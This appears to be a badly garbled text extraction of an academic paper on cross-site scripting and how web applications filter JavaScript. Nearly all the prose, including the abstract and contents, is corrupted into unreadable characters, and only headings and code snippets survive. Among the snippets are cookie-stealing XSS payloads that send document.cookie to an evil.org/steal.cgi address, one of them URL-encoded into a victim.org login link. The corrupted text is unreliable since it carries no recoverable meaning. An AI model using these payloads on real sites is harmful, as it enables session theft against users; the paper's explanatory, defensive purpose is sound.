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Abstract 

��"$$%���������!������$�"���"�����������!�"����$�"����(�6��%��$�'�$�� ���2�������6�����"7$��$�
$8!!"��� ���� �9��8��"�� "�� �"����'$� ����''�'� ��� 6��� !���$� �"� ������� '(������ 6��� !���$�
��������$����������8$��"�����$�����8����"����"���������9��8��"��"��������"8$��"'�������8$��:$�6���
��"7$��2� �� �����!�� �$� �����"$�� �"��"��(� 8$�'� �"����'� ����8���� ��� ���$� �"���9�2� ;����$8$�'��
$��������"���8����������"�����"�����"����(����!"$$�������8$����"7������������$��"�����8�'�����$�"����
�'�����(2�<�����������$���$�'�"������!"$$������(��"���$����������"8$��� �����!���"'�����"�!���$�$�"7��
�"�"�����8$��$2�<�����"�������������������"8$��� �����!���"'���$�����$$��(��"����(�6����!!������"�2�
<��$�!�!���'�$�����$�����" ������!�"�������'�����"����$�"������!"$$��������$��"���������� �����!�����
6����!!������"�$2�+�$"����������������������8����$�!��$����'���������"7$�6����!!������"��'� ��"!��$�
�"���������� �����!��'�!��'����"�������!!������"�����'��"���'8�������'������"��$8���$$�8����"$$%�����
����!�����������$2�
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. ;���"'8���"�222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 . 

.2. 6���+!!������"�$���'��� �����!� 222222222222222222222222222222222222222222222222222222222222222222222222222 . 

.2� ��"$$%���������!����222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 = 

� ������������ �����!�2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 - 

�2. ����������;�!8��"��
8�!8�>222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 - 

�2� �"7��"���������� �����!�>22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 * 

�2�2. ;�!8�����������222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 * 

�2�2� 
8�!8����������� 22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 ? 

�2�2= 6�����"�������>22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 ? 

�2= <����������������"'����#�"���� 22222222222222222222222222222222222222222222222222222222222222222222222.= 

= +��� ����$�'��� �����!�������� 2222222222222222222222222222222222222222222222222222222222222222222222222222222.� 

=2. +��������8�� 2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222.� 

=2� �8����"�����( 222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222.0 

/ �8����(2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222.* 

� 	��������$ 2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222.? 

�2. @������8�� 222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222.? 

�2� ;��������	��������$2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222�� 

�
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1 Introduction 

;�� ���� �"��"7���� $����"�� ��� " �� ��7� �$� �� ��� ��"8�� �� �����!�� ��'� ��$�
�����'�'�8$�����6����!!������"�$2�<����������"$$%���������!�����!�"������$�
!��$����'2�

1.1 Web Applications and JavaScript 

6��� �!!������"�$� ���� �!!������"�$� ����� ���� ����$$�'� 8$���� 6��� ��$�'�
�"��8������"��!�"�"�"�$���'�8$��6�����"7$��$��$����!������8$�������������
A
�;B.2�C"$��"�������!!������"�$������8$��"�����������$����<<#�"���������
�� ���!�"�"�"�$���$�'�"���<<#�$8����$��
+#2������� ����6�����"7$��� �$�
8$�'��$�
�;����$���!!������"�$��8$��!�" �'���<C@�'�����"��������"7$��$�
�"����'�$!��(�'��"�����8$��$2�;����������������"��(�$�������<C@�6���!���$�
�� �� ����� 8$�'�� �8�� D8����(� �!!������"�$� �� �� ����� '� ��"!�'� �����
��������'������<C@��"'��'(��������(2��<"�!�" �'��� ����"������9������(����
�����<C@� '�$!��(� ��'� �"� ��'8��� �"8�'%���!� '���($�� ��"7$��$� "�����'� ����
!"$$������(��"���$����!�"������"'�����"������<C@�'"�8�����������$����'���'�
�9��8��'�"��������(��(���������!���������������'����"�������"7$��2��� �����!��
��(��"�������9�'�8!�7����E�� ����� ���#���$F�A��#B�"��E�� ��+!!���$F)���#�
�"'���$��9��8��'��������$�� ���$�'����'��"������������������"7$��2�+�'�E�� ��
+!!���$F��7����� �$� ��'��������� ������� $�'�� �����"�"�(�� ���"7$� ����'"7��"�'�
��'� �9��8��"�� "�� �� �� �!!������"�$� �"� ��'� ��� ���� ������� �������2� +!!���$�
�"�����(�'"��"��'������(�����!8�����������"7$���"���<C@�'"�8����2���

�� �����!�� G� 7����� 7�$� ����"'8��'� �(� 4��$��!�� �"��8������"�� ;��2� ���
.??��G��$������"$��!�"�������$���!������8����$8!!"���'��(���"7$��$2�<�����
��������������������� ��$�"�$�"���� �����!�)�<���"���������� �����!������8����
$8!!"���'��(�����4��$��!����"7$���� ���������!�� ����8����$8!!"���'��(�����
C���"$"��� ;�������� �9!�"����� ��'� ��C+����!��� 7����� �$� ���� ���������"����
$���'��'� ;�
H;��.-�-�� �"�� ���� ����8���2� <��$� !�!���7���� �"�� '�$����8�$��
���7������������8���$���'��"���������$�"�������� �����!������8���2�

<����"$�� ��!"����������8���"�� �� �����!�� �$� ����!"$$������(� �"� ���������7����
������"7$����"�����8����������<C@�'"�8�����'�$!��(�'���'���$"�����8�����
���� ��"7$��� ��$���2� <��� ���������"�� !"$$��������$� '������ '�!��'���� "�� ����
��"7$��� !�"'8��2�I�$�'�� �� �"��"�� $��� "�� �8����"�$� ����� ���"7�'"�8�����
��'���"7$�������!8����"���''���"����!�"!������(��8����"�$���(����� �������2�
<��� ���������� ��'� �8����"�� ����$� ��$"� $������(� '������ ��"�� ��"7$��� �"�
��"7$����������������'��"��6����!!������"��'� ��"!��$��"�7������"'��������$�
�"�!�������7������(���"7$����(!��"�� ��$�"�2�

������������������������������������������������������

.� <����� ���� ��$"� 6��� �!!������"�$� ����� ���� �"�� ����$$�'� �(� 8$��$� $8��� �$� I�I�
�!!������"�$� 8$�'� �"� ����$!"��� JC@� '���� ���7���� �	#� $($���$� 8$���� �<<#2��
<��$���!!������"�$�7�����"������"�$�'���'�����2�
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��"�� �� $��8���(� !"���� "��  ��7� �� �����!�:$� ����� �8����"�����(� "��
����!8������� �<C@� '"�8����$� �8������(� �"�'�'� ���"� ���� ��"7$��� ��'�
����!8�������������"7$�����$�����$���������������$8$�'��(���������$2�<�����"���
$��8���(��7����6����!!������"�$�$�"8�'��"�������8$��"���� �����!��"���8$��
��!������� �"8�������$8��$� �"� !�� ���� ��$� ��$8$�2� ���"��8�����(� �"'�(:$�
6����!!������"��'�$�����$��������!��$$�������'��"��$�(��$��
�;�'�$���$������
��D8���� �9��$$� �� 8$�� "�� �� �����!�2�+�$"�6��� �!!������"�� �����7"��$� ����
8$�'� ����� ���� ��$�'� "�� �� �����!�� �"�� ������� $�'�� 
�;� ���'�����2� 
�����
'� ��"!��$� � ��� '"�:�� ��"7� ����� �� �����!�� �"'�� �8�"��������(� �$� ��$����'�
���"�6���'"�8����$2�;��$8����(�����8$��"���� �����!���$����������'�����"��
���!�� ����'2�

��"��������������!"����"�� ��7�����"7$���$���$�������<C@�'"�8������"��
����!��$�����"�� �� �����!�� �"'�� ��������'$�$!������ ���������)�<�����"7$���
�8$�� �"�� '�$!��(� ���� �"'�� �"� ���� 8$���� ��$���'� ���� �"'���8$�� ��� ��'� ��'�
�9��8��'2� <"� ��'������ �� �����!�� �"'�� �"� ���� ��"7$��� $� ����� �<C@�
����8!$��������8$�')�

%� <��� script� �� ��"������ ���� ��� 8$�'� �"� ����� $����"�� �"���������
�� �����!���"'��7��������$�������'���'����$)�

� <script> alert(�popup window�)</script> 

%� <��� javascript:� !�"�"�"�� $!�������� ���� ��� 8$�'� �"� ��'������ �����
�� �����!��"'���"��"7$)�

 javascript:alert(�popup window�); 

�8����"'���"�����(��$��9��8��'��(�������"7$�������'�����(�7����'������'�
�������!���2�;���''���"����� �����!�����"7$�'"�'�������8����"�$�����������"��
�9��8��'�'������(���'�������������'�������"�2��8����"��'�������"�$�����"��8��
7���� ��������� �����!���"'���$���$����'2��<"����"7��"'8����K���"��"���"'�����
�$�!"$$����� �"�!8���"'��!���$� ��� $�!������ ����$� ����� ������� �"�'�'�8$���� ����
"!��"����src�!���������"������$���!�������������$���������"��"7�����9��!��)�

<script src=�js-lib.js�></script> 

<�����"7$����"�'$�����$���!���"'��8$��������8���"�����$"8�����"���"��A�	@B�
��'� �����!���$� ���� �"������ ������ �'2� 4"����� $��������$� ���� �9��8��'�
'������(���'��9��8��"��"��$��������$�7�������8����"��'�������"�$�����'������'�
8����������8����"���$������'2�

���������� �����!���8����"�$��$�$8!!"���'�������(��"����"�$���$�'������<C@�
'"�8����2� ;��!�����!���� ��(� ����$8!!"��$�$!������!��������$� ��������"7��"�
������� �����!���8����"�$��8�"��������(����$!�������� ���$�"��8��$8����$���������
�"�'�"������'"�8������$������"��"7�����9��!���$�"7$)�

<body onload=�body_execute()�> � </body> 

����� ���� �8����"�� body_execute()� ����� �8$�� ��� '�����'� ��� !��"��
�� �����!���� ��"�����$��$������'�7��������!�����$��"�������������������" ��
�$��"�'�'2�
������9��!��$�"��� ����������'�!��������$����)�

%� onClick� �"�� ���� �<C@� ���$� button�� checkbox�� radio�� link��
reset��submit�

%� onChange��"�������<C@����$�select��text��textarea�
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%� onSubmit� �"�� ���� �<C@� ���� Submitbutton� 7������ �� form�
�� ��"������

%� onMouseOver��"����(��<C@����2��

;�� $8����(� ���� !��$����� "�� �� �����!�� �"'�� �$� �"�� ������'� �"� �� ��7� 7����
'�����'� �"����"�$� 7������ �� �<C@� '"�8����� �8�� ���� "��8�� �����(�
� ��(7����2�;���''���"����"7$��$���$"���(��"�!�"��$$����"��"8$��<C@��"'��
�"�" ���"���E$�����F�$(���9� �����8�����$� A�2�2���$$������'� ���$B2�<�����"���
�� �����!����(���������!����'���$���'�"�����������"��'���$"�����"����"�$������
'"��"���"��"����"������<C@�$(���92�

;�� ���� ��9�� $����"�� ��"$$%����� ����!����� ������$� 8$���� �� �����!�� ����
'�$�����'� �������$8$���"����� �8����"�����(�"���9!�"��� ��8��$� ��� ������"7$���
��!���������"�2��

1.2 Cross-Site Scripting 

<���!"$$��������$��"�����!8������<C@�'"�8����$�'�$!��(�'��(�������"7$���
7���� �� �����!�� "�� �"� ����8����� ���� "!�����"�� "�� ���� ��"7$��� ��$���� ����
'�����"8$� ����8��$� �����$8$�'2�<�����$8$�� !"�������� '������(� ������$� �"� ����
�8����"�$� � �������� �"�� �� ������"8$� !�"�������2� ���"��8�����(� �� �����!��
!�" �'�$��8�������$$��"��<C@�'"�8����$�8$��������'"�8�����"�&�����"'���
A,
CB2�+�$���!��������"��������"'��(�������$������'"�8���������$���$�'�������
����������()�����$���$"�!"$$������"��"�!�����(�'����������'"�8�������'����������
�"����(�'���������'"�8����2���"�������������$�!"����"�� ��7��7"������$�����
"��$!������������$�)��""���$��$$"�����'��"���'"�8�������'�����$$����'������$2�
�� �����!�� ��$"� !�" �'�$� ����$$� !"$$��������$� �"� ���$�� ���"�����"�2� <���
�""���$� �$$"�����'� �"� �� '"�8����� ���� ��� ����$$�'� 8$���� ���� �8����"�� �����
document.cookie ��'� �!!������"�� �� ��� ����$$� ���'������$� ���� "�����
��D8���'�8$���� �"�����$�'� �"���2������ �������'������$� ���� ��!8�� ���"� ��!8��
����'$� ��$�'���� ��� �� �"��� �� ��"�����2� ������ ���� �"��� �$� !���� "�� ����
'"�8����� �� $���!�� ���� ����$$� ���� ���"�����"�� ��� ���� ����'$� "�� ���� $��!�(�
�"'��(�������������	@�"�������"��2�<�����������'������$�����$�����"�������7�
��������7������$�8�'��������"���"��"��������������2�

<��$�� ��7� �9��!��� $�"7�� ����� �� �����!�:$� ���� �� �8����"�� !�" �'�$� ����
!"$$��������$� �"�� ��������$�� ��� ������"8$� $���!�� �"'�� ���� ��� ��$����'� ���"� ��
�<C@� '"�8����2� <"� !�� ���� ����� $���!�� �"'�� �"������'� ��� �� '"�8�����
�"�'�'� ��"�� $"���6��� $���� ����$$�$� '"�8����$� �"�'�'� ��"�� $"���"�����
6��� $����� ��"7$��$� '"� �"�� ���"7� ����$$� ���7���� '"�8����$� �"�'�'� ��"��
'��������� $���$� A�2�2� ��"$$%$���� ����$$B2� <�����"��� ��������$� 8$�� "�����
������D8�$� �"� ��!�����������"$$%$����������2� ;���������� ���������� �7"��(!�$�
"����"$$%���������!�����������$)�

%� ��"��'���"$$%���������!�����������$�

%� 	�������'���"$$%���������!�����������$�

�$������$�"��'���"$$%���������!�������������$�������$��$����"��"��������2������
��������������$�$�������8!���6���!�����"�������������������"8$��"'�����$"���
!������ 7����� "����� 8$��$� �� �� ����$$� �"2� +�� 8�!�"�����'� $���� !�" �'���� ��
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�"�8��"�� ���8�!�"�����'� ������"���� �"�������!����"���7�����8$��$��8$��
�'�����(�7����8$�������� ��'�!�$$7"�'� �$� ���� �'���� �� ��"������ �"�� $�"��'�
��"$$%���������!�����������$2��"�����"�8��7������""���$�����8$�'��"���'������
$8���$$�8���8����������"���������������$�!���"���'��$��"��"7$)�

%� <�������������$���$����������"�8����$$����������"�����$�������������"'��

<SCRIPT>document.location(�http://evil.org/steal.cg i?c
=+escape(document.cookie);�)</SCRIPT> 

� <"�������� �����������"��"��"�����8$��$�������$$�������'����� �$���""$���
�!!�"!������(2�

%� +�(�"�����8$���������$�$������������$���$$�����$��������'��$���������8$��$�
��"7$����9��8��$� ����$���!���7����� ��$��8��$� ������"7$��� �"� �"�'�����7�
'"�8�������"��������������$�$�� ���8$�������	@�������$�����$������������
8$��$��""�����"�����$�� ��2�

%� <�����������������"7������8$��"�������""�����"�����8�'��������'�����(�"��
���� �������'� 8$��$2� +������ ��'� '������ !"$$��������$� '�!��'� "�� ����
�� ��"������������������$�!����'2�

6���� !���"���'� ������$� 8$�� $"!��$������'� �"'�� ����� 7���� �"�� !�" �'�� ��(�
���������'�����"��$8����$� �$�������'�����$�"��!����'�$�"���"�2�

	�������'� ������$� ���� 8$�'�� ��� ����������"8$� �"'�� ���� �"�� ��� $�"��'� ��� ����
$�� ��2�;�$���'�8$��$��8$�������'���"�������"���� ������"��������������������
�	@2��"�����$�����������$�"���"�8����$$���$��������8$�'2�<���8���������"���
�$��"���$����$���!���"'�����"�����!����'��� ���'��(������	@���D8�$���(�8$����
��D8�$�� !��������$2��"�� ���$� �"� $8����'� ��D8�$�� !���������  ��8�$��8$�� ���
��������'� ��� ���� ��$!"�$�� 7���"8�� �"'�������"�2� <��$� ����$� �"�� �9��!����
����������!!������"���$�7�������8��"'����'� ��8�$�"����D8�$����!8��!��������$�
���"� ���� ��7� !���� '��� ���'� �"� ���� 8$��2� ;�� ���� �"�����$�'� �"�"�� !���� �$�
 8��������� ���$8�����7�(��������8$�������!��������������������������$��8!�
��� ������� �	@� ����� !��$��$� ���� 8$������� 7���� �� $���!�� ����� ��7����$� ����
����"���������"�������"�����"��)�

<SCRIPT>document.forms[0].action=�http://evil.org/s tea
l.cgi?c=+escape(document.cookie);�</script> �

����������$���!���$��"���9��8��'�7����8$�'��$���!8���"������8$�����������'�����
�$�����$$��(��"�������"8��"��������!8�������(�!��!��'�������7��������$�������> �
��'� �!!��'���� <� 2� <��$� ���'$� �"� ���� �"��"7���� $������ ��� ���� '"�8����$�
�<C@�$"8���)�

<input name=�username� value=� �> scriptcode<� �> 

<��� ��8����'� ���� �������� ��"$�'�� $"� ����� ���� $���!���"7���$�'�$� ����� ���'�
$���!���"����"��$"������������"7$�������'��������'��9��8�����2�<����!!��'�'�
<� �!�� ���$��""��8���!����'�$�"���"���(�����������������!�(�����7��������
'��������!����"������"����������!8�����2�<����"����!�����""�$��$����$�"8�'��""��
�8���������8$����$��������������$8������8��"�������8$���������'�����!�$$7"�'�
�$�$�����"�������������$�$���2�

�������	@$��8$�� �"�� �"������ $!�������  ��8�$� $8��� �$� !����� EHF� ���� $���!��
�8$�� ��� ���"'�'� 8$���� �	@� ���"'���� ����� �$��!�$� $8���  ��8�$2� <���
'��"'���� �$� !���"���'� ��� ���� $�� ��� $�'�� �8�"��������(� $����� !���������
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 ��8�$������8�"��������(��	@����"'�'��(�������"7$��)��

http://victim.org/logon.page?username= 
%22%3E%3Cscript%3Edocument.forms%5B0%5D.action%3D%27ht
tp%3A%2F%2Fevil.org%2Fsteal.cgi%3Fc%3D%2Bescape%28docu
ment.cookie%29%3B%27%3C%2Fscript%3E%3C%22 

<"� �8������ '�$�8�$�� ���� ������� �"'�� ���� 7�"��� ������� $������ �"8�'� ���
���"'�'2� ;�� ��(� ��$�� ���� ������� �"'�� �$� ��7�($� $���� �$� ��!8�� �"� �� 6���
�!!������"�����$�2�;�������"�8���9��!�������������"8$���$$�����$�$�����"�����
�"�8�� �!!������"�� �"�� $�"����� ��'� ��� ���� $��"�'� �9��!��� ���� ������"8$�
!��������� ��8���$�$8������'2�
��(��������$��"�'�$��!�����������"8$��"'���$�
$�����"���8$��:$���"7$����"7�!���"����������������2��

<�����"��� ����6����!!������"������!�"����� ��$���� ��"����"$$%���������!�����
������$��(�!�� ������������������"8$��� �����!���"'���$�!�"��$$�'��8�����2�<"�
����� �����$������������"8$��"'���8$�����'������'���'��������'��"8�2�

������������������������������������������������������

��<����"������������"���!���$���!8�� ���'���"�2�
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2 Filtering JavaScript 

#�"�����"�� ��"�� ������"8$� �� �����!�� �"'�� ���� ��� ����� �'� ��� '���������
�"����"�$2� ���$�� 8$��$� ���� !�"����� ����$�� �$� �(� '�$������� �� �����!�� A"��
���� ���"����������������B������������"7$��$2����"��8�����(����$����'��$��"$��
"�� ���� �"'���� 6��� $���$� 8�8$����2� <�����"��� 6��� �!!������"�$� �8$��
!�"�����������8$��$��(�����������"8��������"8$��� �����!�2�

2.1 Filtering Input or Output? 

��"�����"���!��"����!"����"�� ��7������������� �����!���"�!�� ������"$$%�����
����!����� ������$� ���� ��� !���"���'� "�� ��(� '���� $���� �"� ��� �!!������"�� �$�
��!8��� "�� �������!���"���'�"�� ����"8�!8�� $�����(� �����!!������"�� �"�6���
��"7$��$��"���"��2��

6����� ��� �$�������7�����'�����"��"�$�'����$�"8�!8�� ���"����� �$�8�������7�����
'����$�"8�'�����"�$�'���'��$���!8���"����6����!!������"�>���"����$��8���(�
!"����"�� ��7�����7�"����<<#���D8�$��$�����"���6����!!������"���8$�����
�"�$�'���'� ��!8�� ��'� �"�� "��(� ���� !���������  ��8�$� ����� ���� ��'� �(� 8$��$�
���"��<C@���!8������'$2�

C�����"8$� $���!�� �"'�������"��"��(�����"������'� ��� �����"'(�"�� ����<<#�
��D8�$�� �8�� ��$"� ��� ���� ���'��2�
����8$�� ��$"� ����� ���"� ���"8��� ����� ����
���������������$��"����8$���"�������!!������"��A�$��$$8��'�$"�����������$�!�!��B�
�8�� ���� �'����$����"�� �""����� ��� ����6��� $�� ��� "�� �!!������"�� �"��7���� ��
�<C@���$�'��""�2�<����$���!���"'���"������'�������'�������'$���'�$�"��'����
���� �"�� �������(���� �9��8��'� ��'� $�"7� ��$�������"8$� ������$2�<�8$� ���� '����
��������������!!������"���8$������"�$�'���'�8���8$��'���'��8$�����������'�
�"��������"8$��� �����!���"'�2�

I�$�'�� ���� '������ ��!8�� �(� ������� ��D8�$�� '� ��"!��$� "�� ��6��� �!!������"��
�8$�� ��$"� �"�$�'��� "����� ���"�����"�� $"8���$� ��"�� 7����� '���� �$� ��'� "��
��!"���'���������(��$�8���8$��'2��"�$�'��������"��"7����$������")�
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Client

Appl.

Client

Appl.

Client Database DatabaseServer Server

Untrusted
Data

Untrusted
Data

Trusted
Data

Untrusted
Data Tainted

Data

Tainted
Data

Tainted
Data

Input

Input

Input

Input

Output

 

Trusted, untrusted, and tainted input and output 

+�6����!!������"���$����������8$�����D8�$�$��$�8���8$��'���!8����8����$"����'$�
'������"��������������'�����$�2�����������'�����$���$���������������'� ��"!���
�����$�����'�����$���8$��'���!8���"����D8���������������2����"��8�����(�����'����
�$���$����'����"�����'�����$���(���"�����6����!!������"����������'$�����'����
��"���9�������������$2�<�����"�������'�����������'�����$���8$������"�$�'���'�
������'� $����� !���$� "�� �����(� $���� ��"��8���8$��'� $"8���$2�<��$��"�� ���$�
�������������(�����'������"7�������"�����!!������"���8$������������'2�

<���$������(������8���"��'����$�����$��!!������"��"8�!8���"�����������2�������
���$� '������(��� ����9� ���7���� ��8$��'�� 8���8$��'�� ��'� ������'� '���� ��� �$� ��
�""'��'����"��������"8�!8����$"2�<��$���$"�!�� ���$�!�"����$����'����$"8���$�
����� ���� �"�$�'���'� ��8$��'� ���� �"8�'� �"� ��� �"�!�"��$�'� �"�� ��(� ���$"�2�
������������������$���!����"������!���"�������"���7"8�'��"����������(��������
����"8�!8��'�������$��8���"�$�7�������$$�'�����$�!�"��$$�'��8��"��(�!���$������
���� �"�� $���� ��"�� ��8$��'� $"8���$2� ;�� �8$�� ��� �"��'� ����� ���$� �!!�"����
��� �$���������������$�����������8$��'�$"8���$��8���"8���"�����"����8$�7"���(2�

�"�� �� 6��� �!!������"�� ����� '(��������(� ������$� �<C@� '"�8����$� "��(�
��"$��!���$��8$������������'�����������"����������'��(������!!������"����$���2�
;���8$�������$8��'��������(�"8�!8���"���������!���$�"��������!8���$��������'2��
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Output Filter

Raw Output Filtered Output

 

Filtering Untrusted Output Parts 

4"�����(� �� 6��� �!!������"�� ��������'� �<C@� '"�8����� �$� �"�$��8���'�
��"��'��������� �8��'���� ��"��$�� $"� ����� ��8$��'� ��'� 8���8$��'� !���$� �������
'������������'2�<���$��8���"�� �$���'���"����"�!��9� ����9������� ��������$�����
8$�'��"����������!���$�"������"8�!8��"��8�'���(���������7"��$��������������
7�"���"8�!8�2�;���������$����$������������(:$�"8�!8���8$������"�$�'���'���!8��
��'� ������'� ���"�'���� �"� ���� ��8$�� ��� ���� ������(2� ;�� ���� $��"�'� ��$�� ����
�!!������"����$������$��"��"���"��" ��������"�!�����"8�!8���8��������$8����(�
�������������������!���$�8�'�����$��"���"��'"��"���"������������"8$�$���!���"'�2�

;��$8����(� �"���"$��6����!!������"�$� ��� �$� ���""'� �'��� �"�!���"��� ��!8��
������������'�"8�!8�����������2�

2.2 How to Filter JavaScript? 

<"�!�� ������"$$%���������!�����������$���$��!��� ��$����$� �"����!���"���'�
�"����!8�����������)�+�(��� �����!���"'�����������!8���8$���������$�"���'����
��7�(����������$��"���9��8��'��(�����"7$������$�����"���2��

2.2.1 Input Filtering 

,�!��'����"������6����!!������"�������(��"�����$8��������"�$��!�(�'����������
�� �����!�� �"'�� '8����� ��!8�� ���������� $����� ���� �!!������"����(� ��� �"�8��
$"��7���� 8$�'� �"� ��!������� �� '� ��"!��� �"�8�� 7���� '�$�8$$�"�$� "��
�� �����!�� �"'�2� <�����"��� $���!�� �"'�� �8$�� �"�� ��� '�����'� ��"�� �"�8��
��$$���$2�;�$���'�����$���!���"'���8$���������$�"���'����"�����9��$�����������
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�$�'�$!��(�'��(�������"7$�����$���'�"���������9��8��'2�<��$������������� �'�
�(� �<C@%���"'����� 7����� ���"'�$� ���� �<C@� $!������ ���������$� 7���� ��
��!��$������"�� ����� ��$��8��$� ���� ��"7$��� �"� '�$!��(� ���� ���������2� <���
�<C@����"'�'� ��$�"��"����$���!�������������$�����$�"���'���������$)�

<script> � &lt;script&gt; 

<��� �<C@� $!������ ����$� <� ��'� >� ���� ��!����'� �(� ������ �<C@� ���"'�'�
��!��$������"�$2����"��8�����(����$�"��(����!$��"��$��8���"�$�7���������$���!��
�����$�8$�'�$�������$���!��!�"�"�"��!��������$�����$�"���'��")�

javascript:document.cookie���javascript:document.cookie�

����� �"� �<C@� $!������ ���������� �$� !��$���� ��'� �"� ����$�"�����"�� �$�
!���"���'���'������"'���$��9��8��'��(�������"7$��2�+���"8���������$�8$����
���� $���!�� !�"�"�"�� !������� ���� $��'"��� $����� ���� ���� "��(� "��8�� ��� ����
�!!������"�� �$� 8$���� ��D8�$��!���������  ��8�$� ��� �"����"�$� $8��� �$� ����src�
������8���"�����$��7������	@$������9!����'������������$8�����$�$��"���9��!���
7����$�(���$�����!��������$�����8$�'��"���8$�"��K��������!����'�$���2�I8��
�"�����(� �� �� �����!�� !�"�"�"�� !������� 7���� �"�� ��� �9!����'� ������"���
'�������������� �����!���"'��7"8�'����������$��$"�8��"���"�����$���$�2�

��"�� ���� '�$�8$$�"�� ��" �� ��� �$� � �'���� ����� ���������� ��!8�� �"�� �� �����!��
'�!��'$�"�������!!������"��7������������'� �'�'����"��7"����$$�$)�

%� +!!������"�$������'"��"���9!������ �����!�������$���!8�2�

%� +!!������"�$������'"��9!������ �����!�������$���!8�2�

�"���������$�����$$�"���!!������"�$������������$�$��������"�7��'��$�������(�$���!��
�"'�� ��� ���� ��!8�� ��!��$���$� �� !"�������� ������2� ,�!��'���� "�� ����
�!!������"�$� $��8���(�!"���(� ���� �"'�� �"8�'���� $��!�(�'�����'�"�� �� $��8���(�
���"���"8�'�������$�'2�

�"�� ���� $��"�'� ���$$�"�� �!!������"�$� ���������� �$��"���!�"���������� $����� ���
����"�����'���'�'����$���!���"'���$�������"8$�"���"�2����������"��(�$� ��7�(�
�$��"�����$�"��������"'���"���$��<C@����"'�'� ��$�"�2��

2.2.2 Output Filtering 
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2.2.3 What to Filter? 
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